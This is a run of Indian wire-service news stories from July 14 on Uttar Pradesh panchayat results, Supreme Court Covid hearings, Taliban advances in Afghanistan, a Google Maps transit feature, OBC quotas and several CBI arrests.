Greater awareness among women and increasing number of educated contestants in the panchayat elections are being seen as major factors responsible for the stupendous victory of women in the panchayat elections.

This is for the first time in the history of UP, that such a large number of women have won the panchayat elections.

Women enthusiastically participated in the panchayat elections and the rural population did not hesitate to vote for them.

The increasing dominance of women in local politics is clear and women have won 31,212 out of 58,176 village head posts, claiming 53.7 per cent of the seats.

During the Akhilesh Yadav regime in the state, only 25,809 women had won the election for village head's post.

Out of the 75 district panchayat president posts in the state, 42 are occupied by women against their share of up to 24 posts as per the one-third reservation norm for women while men have won only 33 seats.

Women have also excelled in winning block chief's posts also, claiming victory on 447 of the 825 seats.

It is noteworthy that even after having 50 per cent reservation in many states, the average representation of women in the country is only 36.87 per cent.

Kalpana Singh Gurjar, the educated daughter of Badagaon village of Agra, who has been elected as a village head for the first time, believes that educated women should join politics rather than do jobs.
New Delhi, July 14 : The Supreme Court on Wednesday said it will examine the limit of constitutional courts when venturing into matters that fall under the purview of the executive in connection with the Covid-19 management.

A bench comprising justices Vineet Saran and Dinesh Maheshwari said: "We may have 110 suggestions, but will it become an order. We have to remember; we are a constitutional court".

The bench added, "How far can a constitutional court go, when public health emergencies like Covid-19 occurs?" The top court made this observation disagreeing with the Allahabad High Court directions to the Uttar Pradesh government on providing a specific number of ambulances and other amenities, connected with Covid-19 management, across the state.

Justice Saran queried, whether it would at all be needed for the high court to tread on this arena? The bench emphasized that the objective should be fairness to everybody so that sufferance is minimum, but courts have to respect the demarcation. The bench observed, "How far was Ram Bharose comment justified?" The bench said it does not want to comment on requirement of ambulances and oxygen in the state. The bench added: "It's not that you cannot give suggestions but how can you ask local companies to take vaccine formula and manufacture it? How can such directions be given?" Justice Maheshwari said these questions are for the executive and amid crisis, everybody has to proceed cautiously.

Senior advocate Nidhesh Gupta, amicus curiae in the matter, submitted there are other views on this issue also. He added there are other courts which interfere in these matters as well, more so when executive fails in discharging its obligations.

Interestingly, a bench headed by Justice R.F. Nariman on Wednesday took suo moto cognizance of the Uttar Pradesh government's decision to allow Kanwar Yatra amid the ongoing Covid pandemic.

The top court said citizens of India are completely perplexed, as they do not know what is going on.

Earlier, a bench headed by Justice D.Y. Chandrachud had passed a slew of directions in connection with Centre's vaccine policy as well as oxygen management by Centre and states. Later, Centre revised its vaccine policy.

Gupta urged the court to ensure whatever UP government proposes to do, should be done before the third wave. The bench said it will take up the matter on August 12.

On May 21, the top court had stayed the directions issued by Allahabad High Court, on May 17, in connection with Covid-19 management in Uttar Pradesh, stressing that the high courts should not pass orders "that are impossible to implement".

While passing its directions, the Allahabad High Court had observed the entire medical system of the state, especially in smaller cities and villages, can only be called "At Ram Bharose" (at the mercy of God).

Latest updates on Coronavirus (COVID-19)
Panaji, July 14 : Two Russians were arrested in North Goa for overstaying in the coastal state without valid documents, a Goa Police spokesperson said on Wednesday.

The two Russian nationals -- Yulia Polyanskaya (46) and Fursov Maksim (34) -- were arrested made by the officers of the Crime Branch of the Goa Police from Siolim village in North Goa district.

"The duo has been placed in detection at the state government's detention centre for foreign nationals," the spokesperson said.
New Delhi, July 14 : Gujarat Congress leaders have met party General Secretary Organization KC Venugopal and urged him to fast forward the appointments in the state unit and in-charge for the state as Gujarat goes to the polls next year.

Venugopal has assured them that the process is on and the All India Congress Committee will soon appoint the state in-charge.

The leaders have sought an appointment with former party president Rahul Gandhi to apprise him about the political situation in the state. After the demise of Rajiv Satav there has been no appointment of the state in-charge and the Gujarat party president has resigned after the loss in the civic polls.

Congress spokesperson Randeep Surjewala is reportedly being considered for the post of state in-charge while Ramesh Chennithala is likely to get Karnataka.

Arjun Modhwadia is top choice for the state party President and he has held the post in the past.

Names of veterans like B.K. Hariprasad and Mohan Prakash are also doing the rounds for the state in-charge post. Sources said former Rajasthan Deputy Chief Minister Sachin Pilot too was considered but his close aides say he declined and does not want to move out of the state.

Gujarat Congress chief Amit Chavda and the Leader of Opposition Paresh Dhanani tendered their resignations from their posts in March, following the party's debacle in the local body elections. The Congress leadership accepted their resignations.

The state is vital for the Congress keeping in mind the Assembly elections scheduled next year, especially after coming very close to wresting power from the ruling BJP in the last state polls held in 2017.

In the last elections in 2017, present Rajasthan Chief Minister Ashok Gehlot was the in-charge for Gujarat,
Kabul, July 14 : The Taliban are reported to have raised their flag above a key border post between Afghanistan and Pakistan, and claim it is now under their control.

Videos being shared on social media show the white flag fluttering above the Spin Boldak crossing near Kandahar.

Afghan officials have denied the post has fallen, although pictures on social media show the militants chatting to Pakistani border guards.

The BBC has been told the Taliban took the border crossing with no resistance.

In recent weeks, the militants have made rapid advances across the country, seizing a series of border posts from Afghan forces, including crossings with Iran, Tajikistan and Turkmenistan. It comes as the US withdraws its forces from Afghanistan ahead of an 11 September deadline set by President Joe Biden.

The Taliban - a fundamentalist Islamist militia who were pushed out of power by the US invasion 20 years ago - have also seized control of a number of key roads as they seek to cut off supply routes to major cities.

The border post dividing the Afghan town of Spin Boldak in Kandahar province on one side and the Pakistani town of Chaman on the other, is the second busiest crossing between the countries.

The crossing would be a major prize - symbolically and strategically - if the Taliban continue to hold it. It would give them significant customs revenue from the trade which flows back and forth and provide direct access to areas in Pakistan, where Taliban leaders and fighters are known to have been based for many years.

The BBC has not been able to independently verify the reports but Pakistani officials confirmed the Taliban had taken the post. Journalists and the public have been told not to approach the border from the Pakistan side, and there is an urgent security meeting under way.

In a statement, the Taliban's Zabihullah Mujahid told residents and traders their "security is guaranteed".

But Afghan interior ministry spokesman Tareq Arian said that while there had been "some movements near the border... security forces have repelled the attack".
Hyderabad, July 14 : Actor Rana Daggubati on Wednesday uploaded a video flexing muscle in his latest Instagram post.

The actor, who had undergone a tremendous physical transformation for his role as the beefy antagonist Bhallaldeva in the "Baahubali" films, had eventually leaned down for his subsequent projects.

However, going by the video and its captions, it seems the actor missed his muscles.

"Welcome back old friend. WIP," he wrote.

Within a few hours of the upload, Ranapost was flooded with compliments from friends and fans.

The actor is reportedly gearing up for his yet-to-be announced multilingual pan-India action film, which requires him to once again undergo intense physical transformation.

The actor was recently seen in Telugu film "Aranya", which was released in Tamil as "Kaadan". He will next be seen in Telugu film "Virata Parvam", which also stars Sai Pallavi in the lead role. The film is directed by Venu Udugula.

-- The story has been published from a wire feed without any modifications to the text
New Delhi, July 14 : Google on Wednesday added real-time information about bus arrival times for Delhi on Google Maps, making it easier for people to plan their trips.

The information will inform users which bus to catch, the time it will arrive at a designated bus stop, the duration of the trip, and if there is a delay.

Further, Google Transit will automatically update the arrival times and will mark them in green or red on Google Maps.

The tech giant teamed up with the Delhi Transport Ministry, the Delhi Integrated Multi-Modal Transit System (DIMTS), the Indraprastha Institute of Information Technology (IIIT) Delhi, and Lepton Software to develop the feature.

"With today's partnership with Google Maps, Delhi joins the league of global cities that seamlessly provides real time information of public transport so that people are able to plan their journeys to the minute. I hope this collaboration will encourage several other transit apps to tap into the open data portal of the Transport Department and create innovative solutions to make Delhi's public transport system the default choice for everyone," Delhi Transport Minister Kailash Gahlot said, in a statement.

"We're glad to work with the Delhi Transport Ministry in launching real-time transit information for Delhi's cluster bus service on Google Maps. We are constantly exploring ways to make the Google Maps experience more useful, and we hope the people of Delhi will benefit from having access to this information in making smart commuting choices, especially in these times," Google's Director, Product Management, Ramesh Nagarajan said.

To access the real-time information, users need to open Google Maps app on their Android or iOS device, enter the destination, and tap the 'Go' icon or tap the 'Go' icon and enter the 'Source' and 'Destination' locations.

If it is not already selected, tap the "transit" icon (the little tram) to view times, bus numbers, routes and real-time arrival information highlighted in green or red. Tapping a recommended route will show more information on the route's stops, while tapping the bus stop shows a list of all arriving buses, where relevant real-time info is depicted by the green or red beacon.

It is also possible to access real-time bus information by searching for a particular bus stop, tapping its name and its listed bus numbers.

The feature is also available in Hindi.

-- The story has been published from a wire feed without any modifications to the text
Chennai, July 14 : Founder of the PMK S. Ramadoss on Wednesday said the central government should not force Tamil Nadu to talk to Karnataka on its Mekedatu dam project.

In a statement issued here Ramadoss expressed shock at Union Minister for Water Resources Gajendra Singh Shekhawat echoing Karnataka Chief Minister B.S. Yediyurappa who had earlier called for talks on the issue.

Tamil Nadu had rejected Yediyurappa's proposal for talks on the Mekedatu dam project.

Ramadoss informed that Shekhawat had said the representatives of Tamil Nadu and Karnataka should sit together and talk and the Central government will take necessary steps for that.

According to Ramadoss, at the recent all party meeting Tamil Nadu Chief Minister M.K. Stalin had said talks with Karnataka on the issue will not be held.

He wondered whether the Centre is working in favour of Karnataka on the dam issue.

Karnataka plans to build a dam across the Cauvery river at Mekedatu to which Tamil Nadu is opposed as it would affect irrigation in the state.

Tamil Nadu's political parties on Monday decided to take legal action including the pending case in the Supreme Court.

In order to show the state's total opposition to the dam project, the meeting also decided to submit its resolutions to the Central government.
Tokyo, July 14 : International Olympic Committee (IOC) president Thomas Bach will visit Hiroshima on Friday to mark the start of the Olympic Truce, organisers said here on Wednesday.

Bach, who arrived in Tokyo on July 9, will lay a wreath at the cenotaph of the Hiroshima Peace Memorial Park, the location where an atomic bomb was dropped by the United States on August 6, 1945.

The IOC chief will also deliver a speech at the Hiroshima Peace Memorial Museum, reports Xinhua.

Seiko Hashimoto, president of the Tokyo 2020 organising committee, will accompany Bach for the visit, during which they will meet atomic bomb survivors.

The United States dropped the first atomic bomb in Hiroshima on August 6, 1945, and the second on Nagasaki three days later, killing about 210,000 people by the end of that year. The nuclear attacks finally brought the end of Japan's brutal and ugly colonisation and invasion of many East Asian countries, and the Second World War.
New Delhi, July 14 : The Union Cabinet on Wednesday approved the signing of a Memorandum of Understanding (MoU) with Denmark on cooperation in the field of health and medicine.

The pact will be signed between India's Ministry of Health and Family Welfare (MoHFW) and Denmark's Ministry of Health.

The MoU will encourage cooperation between the MoHFW and Denmark's Ministry of Health through joint initiatives and technology development in the health sector.

The pact will encourage cooperation between the two countries through joint initiatives and development of research in the health sector. This will facilitate in improving the health status of the people of both the countries.
Lucknow, July 14 : The UP ATS has arrested three more suspects on Wednesday in connection with planning of terror attacks in Uttar Pradesh, particularly Lucknow.

The arrested suspects were identified as Shakeel, 35, Mohd Mustaqeem,44, and Mohd Moid 29.

According to an official statement, the three were arrested following information provided by Maseeruddin and Minhaz Ansari who had been arrested earlier on Sunday.

An ATS statement said that the three will soon be produced in court and taken on remand for further investigations.
New Delhi, July 14 : With the Union Cabinet's approval on Wednesday, India is now ready to sign a Memorandum of Understanding (MoU) with Russia on cooperation in coking coal, which is used for making steel.

The pact will be signed between India's Ministry of Steel and Russia's Ministry of Energy.

"The MoU shall benefit the entire steel sector by reducing their input cost. This may lead to reduction in cost of steel in the country and promote equity and inclusiveness," said a government statement after the decision was taken in the Cabinet Committee meeting chaired by Prime Minister Narendra Modi earlier in the day.

The MoU will provide an institutional mechanism for co-operation in the coking coal sector between the two countries.

The objective of the MoU is to strengthen cooperation between India and Russia in the steel sector. The activities involved in the cooperation are aimed at diversifying sources of coking coal.
Patna, July 14 : Tejashwi Yadav, leader of opposition in the Bihar assembly, has slammed the Centre for wiping out Other Backward Class (OBC) quota in the National Eligibility-cum-Entrance Test (NEET) for medical exams.

Referring to the All India Federation of Other Backward Classes Employees Welfare Association (AIFOBCEWA), Tejashwi Yadav said that the Narendra Modi government has wiped out 11,027 seats in different categories of medical examination since 2017.

The AIFOBCEWA claimed that the data is taken from the website www.mcc.nic.in.

As per the data, 27,062 seats were allocated for Post Graduate medical students with 21,092 given to general category, 4,017 to SC and 1,953 for ST candidates. As per the earlier norms, there were 27 per cent seats reserved for the OBC which comes to 7,307 seats in this segment, which has been wiped out now.

Similarly, PG dental has 970 seats at the all India level including 756 for general, 141 for SC and 73 for ST. The OBC seats are zero now. Out of a total of 11,879 seats for under graduate medical candidates including 9,208 in general quota, 1,787 seats are there for SC and 884 for the ST, the OBC quota is again zero. Out of a total of 931 under graduate seats for dental students, 724 seats are there for general category, 140 for SC and 67 for the ST, but OBC is again zero.

AIFOBCEWA claims that the OBC quota became nil since 2017 but it came to their knowledge in 2018.

Tejashwi Yadav, on the basis of these claims, asked the Central government why there is no quota for the OBC.

"Why does the Modi government not want doctors to come from the OBC community? Why do the BJP and RSS hate the OBC community which is 60 per cent of the total population in the country?" Tejashwi said in a tweet.

"Narendra Modi government has back-stabbed the OBC community by not notifying the reserve seats for the community. The BJP, RSS and the central government took away the rights of OBC," he said.

-- The story has been published from a wire feed without any modifications to the text
Kolkata, July 14 : Accepting the poll petition of Chief Minister Mamata Banerjee challenging the election of BJP leader Suvendu Adhikari from Nandigram, the Calcutta High Court on Wednesday issued a notice to the latter and posted the matter for further hearing on August 12.

Justice Shampa Sarkar, who is the new judge in the case after Justice Kausik Chanda recused himself from the matter, also asked the Election Commission to preserve all the documents until the case is resolved.

Justice Sarkar issued the notice to Suvendu Adhikari, the elected candidate of BJP, and directed that the records and papers in relation to the election of Adhikari be preserved during the pendency of the petition.

On the request of Banerjee's counsel, senior advocate Soumendra Nath Mookherjee, the court passed an interim order stating, "Pending the decision of the case, all documents, election papers, devices, video recordings etc. connected with the election (of Adhikari), which is under challenge before this court, shall be preserved by the concerned authority." In normal course, the Election Commission preserves the documents for six months.

The court also directed the Registry to serve a copy of the order to the Election Commission of India and the concerned Returning Officer.

Chief Minister Banerjee was also present online during the hearing. The senior counsel said that as per a Supreme Court judgment of 2009, the petitioner is required to appear before the court to present the election petition.

The case was assigned to Justice Sarkar after the recusal of Justice Kausik Chanda. Banerjee had objected to Justice Chanda hearing the petition on the apprehension of bias due to his association with the BJP when he was a lawyer.

Last week, Justice Chanda recused himself from hearing the case saying that "trouble mongers will keep the controversy alive if he does not recuse".

Taking exception to the manner in which his recusal was sought, Chanda imposed a cost of Rs 5 lakh on Banerjee for "calculated psychological offensives and vilification adopted to seek recusal".

-- The story has been published from a wire feed without any modifications to the text
New Delhi, July 14 : The Union Cabinet on Wednesday approved to extend the term of the Commission constituted to examine the issue of sub-categorisation within Other Backward Classes (OBCs) in the Central list by six months beyond July 31 this year up to January 31 next year.

This is the 11th extension of the term of the Commission constituted under Article 340 of the Constitution.

The proposed extension of tenure and addition in its terms of reference shall enable the Commission to submit a comprehensive report on the issue of sub-categorisation of OBCs, after consultation with the various stakeholders.

"The order of extension of the term of the Commission by six months beyond July 31 this year and till January 31, 2022 would be notified with the approval of the President," said a government statement issued after the Cabinet committee meeting chaired by Prime Minister Narendra Modi on Wednesday.
Hyderabad, July 14 : An employee at a State Bank of India branch here was injured when a security guard opened fire during a verbal altercation on Wednesday.

The incident occurred at SBI's Gunfoundry branch on the busy Abids Road. According to police, security guard Sardar Khan fired two rounds from his gun on bank's contract employee Surender during an argument over some issue.

Surender was shifted to a private hospital. He is stated to be out of danger.

Police arrested the security guard, who had been serving the bank for last two decades. Preliminary investigation by police revealed that there was an argument between Khan and Surender over financial dealing and the security guard, in a fit of rage, opened fire.

The incident created flutter at the bank branch, a landmark building located in the heart of the city. Customers present in the bank premises at the time of the incident ran in panic after hearing the gunshots.

Police rushed to the scene and cordoned off the building. They took Sardar Khan into custody.
Chennai, July 14 : Union Fisheries Minister Parshottam Rupala will hold a virtual meeting on Thursday with Members of Parliament from coastal areas to get their views on the draft Indian Marine Fisheries Bill, 2021.

VCK leader and Villupuram MP D. Ravikumar said that the minister had invited him to attend the virtual meet to be held at 11 a.m. to elicit his views on the draft bill.

Rupala has conveyed that taking views from the MPs from coastal areas would provide the necessary inputs and address the concerns of the traditional and small-scale fishermen as well as the sustainable development of marine fisheries in the country.

The Minister said it was Lok Sabha Speaker Om Birla's suggestion to connect with the MPs from coastal areas before finalising the Indian Marine Fisheries Bill, 2021.

The fishermen community across the coastal belts were against the presence of large fishing trawlers in India's economic zones. Fishermen from Tamil Nadu have always been complaining about the "high-handedness" of the Sri Lankan Navy towards them on on the borders of international waterways and Ravikumar is expected to raise this issue.

Ravikumar told IANS that the minister "had called me and asked me to be part of the virtual meeting to be held on July 15 at 11 a.m. regarding the draft of the Indian Marine Fisheries Bill and had requested my suggestions and views regarding the same".
Mumbai, July 14 : In an "eco-friendly move", the Bombay High Court has permitted the use of A4-size paper printed on both sides for filing of pleadings before all its benches, with lower courts due to follow soon.

Advocate S.R. Nargolkar, appearing for the court administration, informed a division bench of Chief Justice Dipankar Datta and Justice G.S. Kulkarni that a notification to the effect was issued on July 6 and the circular issued on Wednesday.

The development follows a PIL filed by a lawyer Ajinkya Udane, through his advocate P.R. Katneshwarkar, on the issue which has been settled now.

To Udane's query whether the A4-size paper rules will be applicable to lower courts in the state, the division bench directed Katneshwarkar to make a representation to the Registrar General of the High Court to issue suitable directions to the effect.

In his plea, Udane had said that the use of A4-size paper - compared with the 'foolscap size' currently in use - will help save huge quantities of paper, storage space and prevent large number of trees from being destroyed, thus making it an environment-friendly move.

He had pointed out that the Supreme Court and several other high courts in Karnataka, West Bengal, Uttar Pradesh, Kerala, Tripura and Himachal Pradesh had already permitted the use of A4-size paper for plea filings.

The circular issued on Wednesday by Registrar General Mahendra Chandwani, amending the relevant rules, now allows "superior quality A4 size paper, not having less than 75 GSM with printing on both sides" instead of the "foolscap size paper".

The circular has been issued to all the high court benches, including the Principal Bench in Mumbai, and Nagpur, Aurangabad and Goa to use A4-size for all communications.
Hyderabad, July 14 : The Telangana Rashtra Samithi's membership has reached 61 lakh, a senior party leader said on Wednesday.

TRS General Secretary Palla Rajeshwar Reddy claimed that the TRS is the only regional party in the country to have such a large number of members.

He told reporters, after a meeting of party Secretaries, that digitalisation of details of 48 lakh members had already completed, and those of the remaining members will be completed by July 20.

He said that the TRS has started construction of party offices in 31 districts. The work has been completed in 24 districts. The work in remaining seven districts is nearing completion.

Chief Minister and TRS President K. Chandrasekhara Rao will inaugurate the party office in every district.

Rajeshwar Reddy said the party will constitute committees from village to state level in the next two months.

He said the party would reach out to every worker and remain accessible to them. The TRS will also take steps to remain active over social media platforms.

The meeting, presided over by party's Working President K.T. Rama Rao, discussed various issues to further strengthen the party.

Rajeshwar Reddy said the government has already filled 1.30 lakh vacancies in the government. He thanked the Chief Minister for taking steps to fill another 50,000 vacancies, saying this move would solve the problem of unemployment.
New Delhi, July 14 : The Central Bureau of Investigation (CBI) said on Wednesday that it has arrested a man named Debabrata Sinha in connection with its probe involving Infinity Realcom Ltd, a Kolata based chit fund company.

A CBI spokesperson said that the agency arrested Sinha and carried out searches at two places in West Bengal, which led to the recovery of several incriminating documents.

He said it was alleged that Sinha had entered into a conspiracy with the other directors of a Kolkata-based private company, which resulted in misappropriation and siphoning of funds illegally collected by the private company from gullible investors.

"Sinha allegedly acted as a middle man between Infinity Realcom Ltd and the regulators and got undue approvals in favour of the company from the regulatory authorities," the official said.

The CBI had registered the case on June 5, 2015 pertaining to the private company and others who collected funds to the tune of Rs 565 crore.
Kochi, July 14 : In a first of a kind move, a Catholic nun on Wednesday appeared as "party in person" in the Kerala High Court to fight her own case.

Sister Lucy Kalapurakkal was dismissed from the church at Kerala's Manathavady in August 2019 by the Franciscan Clarist Congregation, after getting the Vatican's clearance, for disobeying church authorities.

Since then, she has been fighting her case and she refused to move out from the convent in Wayanad district that she is residing in.

On Wednesday after her counsel withdrew for personal reasons, the nun herself appeared as party in person and said that since she already has the case against her congregation in another court, she should be allowed to reside at her convent, till its verdict comes.

She also wanted a review of an earlier directive of the High Court, which, in the course of the proceedings in the case, expressed doubts if she can continue to reside in the convent.

Making a passionate plea, Sister Lucy, noting that she has completed 25 years of service as a nun and wish to continue the same way, said she has nowhere to go and should not be driven on to the streets.

She requested police protection at the place where she resides in the convent.

But the counsel for the congregation contended that as a rule, a nun, when she moves from one place to another place, should only stay in a convent and Sister Lucy, in the course of conducting the case, has violated all this.

The court, however, pointed out that they are prepared to ensure that she gets protection to her life and property, wherever she stays.

The court later posted the case for giving its final verdict.

Sister Lucy had supported the nuns' strike in the state demanding the arrest of rape-accused Bishop Franco Mulakkal, who headed the Roman Catholic Diocese in Jalandhar.

However, she became a target of the Church authorities after she joined the nuns protest against the delay in Mulakkal's arrest despite the FIR against him.

But even though she was asked to move out from the convent then, she got an order from a court that she should not be forced out and has been staying there since then.

Since then she had been receiving notices from the church on charges such as airing her opinion about the bishop on TV channels, owning a car, and writing a book.

Incidentally, the Kerala High Court, in December 2019 declined to ban the nun's autobiography titled "Karthavinte Namethil (In the name of Christ)" and it was released later.
New Delhi, July 14: Afghan Foreign Minister Mohammad Haneef Atmar has warned his Pakistani counterpart, Foreign Minister Shah Mahmood Qureshi that instead of defending Taliban, Pakistan should "close the shelter and cease funding sources of Taliban" immediately.

Atmar termed the presence of foreign fighters and regional and international terrorist networks alongside the Taliban a major threat to the region and the world and emphasised practical cooperation between regional countries, particularly Pakistan in closing shelters and ceasing funding sources of the Taliban, and encouraging the group to resume meaningful talks and find a political solution to the success of the Afghan peace process, says the press release issued by the Afghan Foreign office after the meeting of the both ministers in Dushanbe, on the sidelines of the fourth meeting of the Afghanistan Contact Group within the Shanghai Cooperation Organization (SCO).

In retaliation, Qureshi told his Afghan counterpart, "the blame game would not serve the region," and asked him to address all concerns through "established institutional mechanisms" including the Afghanistan-Pakistan Action Plan for Peace and Solidarity .

After the meeting Qureshi said in a tweet, The path ahead is ultimately determined by Afghan leaders from whom flexibility is essential to achieve a negotiated settlement and any blame games are detrimental to peace process. Neither Pakistan nor the int'l community nor indeed people of Afghanistan wish for a repeat of civil war".

"We believe working together will help us realise stronger regional connectivity and greater people-centric linkages," Qureshi wrote.

Afghan leaders are accusing Pakistan for supporting the Taliban, who are gaining strength amid the withdrawal of NATO troops from Afghanistan. According to them, the Pakistani army and its intelligence agencies are backing the Taliban following the withdrawal of foreign troops, helping militants capture more territories.

Citing the UN report, Afghanistan's First Vice president Amurullah Saleh said that at least a dozen different militant groups are active in both Pakistan and Afghanistan, with at least 6,500 Pakistani soldiers fighting along with the Taliban.

"Taliban are guided by special units of the Pakistani army." Saleh said.

Saleh also took another pot-shot at the Pakistanis when he tweeted: "Pak has come out of denial & is openly saying they are harboring the Taliban", referring to the "confession" made by the Pakistani Interior Minister Sheikh Rashid that Taliban leaders and their families are in Pakistan.

"Afghan Taliban's families reside in Pakistan, sometimes their dead bodies arrive, and sometimes they come here in hospitals to get medical treatments," Sheikh Rashid told the BBC.

"The Interior Minister of Pak tells BBC Persian that Talibs receive treatment in Pakisani hospitals,, maintain cemeteries, Talib leaders are based in Pakistan & their children go to school here. So who are responsible for massacre of Afghans ? Any more evidence needed ? Saleh said in a post on Twitter.

Afghan leaders including President Ashraf Ghani, the former president Hamid Karzai, National Security Advisor Hamdullah Mohib, have been accusing Pakistan and its spy agency ISI of supporting and providing sanctuaries to Taliban leaders to fuel violence in Afghanistan.

Though Pakistani leaders including the foreign minister Quereshi have been denying these charges but no one believes them including their own senators.

Moshin Dawar, Member National Assembly and a prominent leader of the Pashtun Tahafuz Movement (PTM) openly Pakistani military establishment,"despite losing thousands of Pakistanis, the State refuses to change its policies. Look at the way the Establishment controlled media is exaggerating Taliban achievements in Afghanistan. If Taliban are so dear to the Establishment, then why not select them for Pakistan as well"? Speaking on the floor of the Pakistan National Assembly on Tuesday, he backed Afghanistan First Vice President Amrullah Saleh's claim that the Taliban is guided by his country's special forces from Peshawar and Quetta.

"Taliban are exported to Afghanistan from here while the FM and President justify @AmrullahSaleh2's claims about Pakistan's role in Afghanistan with their statements. Dead bodies of Taliban fighters are brought back to Pakistan for burial. Taliban continue being supported openly".

On Tuesday, CNN broadcast a gory video showing a group of 22 unarmed Afghan commandos being executed by Taliban fighters, last month. The footage was taken last month in the town of Dawlat Abad in Faryab province in Northern Afghanistan. According to the Red Cross, the bodies of 22 Afghan commandos were recovered from the scene.

"This evidence suggests that the Taliban's persistent claims to have changed their ways are predicated on a lie and completely undermines their claims that they will respect human rights in the peace process. The Afghan authorities should launch an immediate investigation into this reprehensible act in an attempt to bring those responsible to justice, however, should this fail the international community and the International Criminal Court must step in", said Samira Hamidi, Amnesty International's South Asia Campaigner.

(The content is being carried under an arrangement with indianarrative.com) --indianarrative
Conflict in Afghanistan has already generated 270,000 refugees-some falling in the trap of terror groups, says the UNHCR-the UN Refugee Agency.

Babar Baloch, the UNHCR global spokesperson said on Tuesday that "an estimated 270,000 Afghans have been newly displaced inside the country since January 2021-primarily due to insecurity and violence-bringing the total uprooted population to over 3.5 million". Of these, 270,000 Afghans were displaced in the last six months as fighting intensified in January this year.

The displaced people are also facing extortion by terror groups as well as improvised explosive devices (IEDs) as they escape into safer areas. With decades of conflict, the humanitarian needs of the people-food, water, health, sanitation and safety-are acute, says the agency.

Meanwhile, Finland has stopped deporting Afghans seeking asylum on a request of the Afghan government. The government had issued a statement not just due to concerns over the fighting but also due to the Covid-19 threat. Germany has, however, reiterated that it does not plan to review its deportation policy and those who do not get the right of residence in Germany will have to leave.

This Saturday, Afghanistan's ministry of refugees and repatriation appealed, saying: "The escalation of violence by the Taliban terrorist group in the country and the spread of the third wave [of COVID-19] have caused a great deal of economic and social unrest, creating concerns and challenges for the people".

Afghans are mainly seeking shelter in Pakistan, Iran and Turkey, often crossing into Europe from Turkey. The situation does not look good for the migrants.

The Pakistan government has said that the country will confine the escalating tide of refugees on the Afghan-Pakistan border. Information minister Fawad Chaudhry said on Monday the government would "not allow them to sneak into cities and would confine them to refugee camps to be established in the Pak-Afghan border areas".

Pakistan fears the spread of Covid-19 pandemic as well as a deterioration in law and order with an influx of refugees from its conflict-ridden western neighbour. The Afghan situation worsened after the US began pulling out its troops, emboldening terror outfits to launch attacks and seize territory from the government.

Afghanistan, which has been categorised as the least safe country in the world owing to decades of conflict, additionally faces the scourge of the global pandemic.

Since mid-May this year, the country has seen a spike in the daily number of Covid-19 cases. From a weekly average which was in two digits for almost a year, the infections now hover around 1,500 as the weekly average, spawning fears that the Afghan crisis could also turn into a health nightmare for the region.

(The content is being carried under an arrangement with indianarrative.com) --indianarrative

Latest updates on Coronavirus (COVID-19)
New Delhi, July 14 : The Union Ministry of Home Affairs has asked states and Union Territories to direct all police stations under their jurisdiction not to register cases under the repealed Section 66A of the Information Technology Act, 2000.

It has also asked the states and the UTs to sensitise law enforcement agencies for the compliance of the order issued by the Supreme Court on March 24, 2015.

The MHA has also said that if any case has been booked in states and the UTs under Section 66A of the IT Act, 2000, such cases should be immediately withdrawn.

The Supreme Court, in its judgment on March 24, 2015 in the matter of Shreya Singhal versus Union of India, had struck down Section 66A, making it null and void with effect from the date of the order, and hence, no action could be taken under this section.
New Delhi, July 14 : With shortage of domestic edible oil pushing up the need to increase imports quickly, the Indian Customs has put up special motoring and import clearances procedure for the commodity to reduce the clearance time for such consignments to about 3-4 days.

The Customs Department, in a statement, said that they were ensuring that there is no clogging at the ports for edible oil.

To facilitate trade and expedite the clearances, nodal officers have also been nominated in all the Customs zones and a standard operating procedure has also been put in place for smooth clearance. Customs is also engaging with the industry associations regularly, the statement said.

Moreover, Customs is continuously monitoring the import clearances of edible oils in co-ordination with the Food Safety and Standards Authority of India (FSSAI).

As a result of the measures taken by the Customs, edible oil imports in the country had seen a sudden increase. In the current month up to July 12, a whopping 4 lakh tonne of crude palm oil has been imported, more than 35 per cent growth over the same period of previous year. The import has grown by over 5 per cent in the current fiscal year so far.

The import/export policy relating to edible oils, its volumes of clearances and pendency situation at ports, etc are reviewed on weekly basis by the Inter-ministerial Committee on prices of Agricultural Commodities. These aspects are also reviewed regularly by the Committee of Secretaries and the Group of Ministers, a Finance Ministry release said.

The Department of Consumer Affairs and the Department of Food continuously monitor the retail selling prices of edible oil for assessing the need for intervention.

Tariff and other policy interventions are normally made on the recommendations of these Committees/Group.

To provide relief to the consumers, certain measures have been taken recently in respect of edible oil. These include reduction of customs duty on edible crude palm oil from 35.75 per cent to 30.25 per cent and on refined palm oil from 49.5 per cent to 41.25 per cent. Further, restriction on import of refined palm oil has also been lifted till December 31.
Bengaluru, July 14 : The Deputy Chief Minister of Karnataka, Ashwath Narayan, stated on Wednesday that the state government is discussing the implementation of the National Population Policy in Karnataka on the lines of Uttar Pradesh.

Talking to reporters, Narayan said that there is a need to implement the population policy in the state, adding that Uttar Pradesh is going in the right direction.

The matter is under discussion, though nothing has been decided yet, he underlined.

It can be recalled here that BJP national General Secretary and MLA from the state, C.T. Ravi, had put out a message on Twitter emphasising the need to introduce the population policy in Karnataka on lines of Uttar Pradesh.
New Delhi, July 14 : The Central Bureau of Investigation (CBI) on Wednesday said that it has arrested the Chief General Manager of the National Hydroelectric Power Corporation (NHPC) and two others in a graft case.

A CBI spokesperson said that the agency team arrested NPHC's Chief General Manager, Finance, Harjeet Singh Puri, posted in Haryana's Faridabad and two private persons identified as Sunil Mendiratta, a Senior General Manager (Project) of Gammon CMC Joint Venture and Sanchit Saini in alleged Rs 5 lakh bribery case.

The official said that the agency registered a case against Puri, Mendiratta, Gammon CMC Joint Venture, Sunil Saini, a private person based at Mumbai, and unknown others.

He said that the Gammon CMC Joint Venture was working in Parbati Hydroelectric Project Stage-II of NHPC located near Kullu in Himachal Pradesh, and had two claims of Rs 1.36 crore and Rs 1.9 crore, and some additional bills of Rs 2 crore pending.

Mendiratta requested Puri to expedite the process of payments, for which he allegedly demanded the bribe.

"CBI laid a trap and Puri was caught while accepting bribe of Rs 5 lakh. Mendiratta and Saini were also caught," the official said.

He said that the agency conducted searches at Faridabad, Kullu, and Delhi which led to recovery of incriminating documents including of property and financial dealings. The CBI also recovered Rs 25 lakh cash and 1 kg gold from Puri's possession.
Hyderabad, July 14 : Stepping up its efforts on the ensuing by-election to Huzurabad Assembly constituency in Telangana, the Congress on Wednesday named an in charge and election coordinators.

State Congress chief A. Revanth Reddy appointed senior leader and former Deputy Chief Minister Damodar Rajanarasimha as the in charge for the constituency.

Senior leaders and legislators T. Jeevan Reddy and D. Sridhar Babu, and former MP Ponnam Prabhakar have been named as the election coordinators.

